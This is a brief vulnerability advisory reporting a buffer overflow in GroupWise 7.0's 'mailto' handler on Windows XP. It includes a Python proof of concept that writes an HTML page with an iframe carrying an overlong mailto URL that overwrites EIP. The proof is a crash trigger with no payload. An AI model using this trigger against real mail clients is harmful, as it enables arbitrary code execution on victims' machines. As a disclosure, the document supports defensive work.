Advisory Text :  

PRODUCT: GroupWise 7.0

OS: Windows Xp

The scheme "mailto" is vulnerable if one takes as default mail client to
GroupWise, the fault is to implement the scheme followed by an extensive
argument and this causes the buffer overflow. This brings the
consequence that can overwrite the EIP and is able to execute arbitrary
code. The result with a debbuger us what reveals.

Access violation when executing [41414141]

What power is that vulnerability to attach a html file which is included
in an iframe with the scheme badly formed runs only watch.

proof of concept

#!/usr/bin/python

a = "<iframe src='mailto:"

a += "A" * 1530

a += "x61x61x61x61"

a += "' width='320' height='300' scrolling='yes'
name='content'></iframe>"

file = open("test.html", "w")

file.write(a)

file.close()

greetings!

Juan Pablo Lopez Yacubian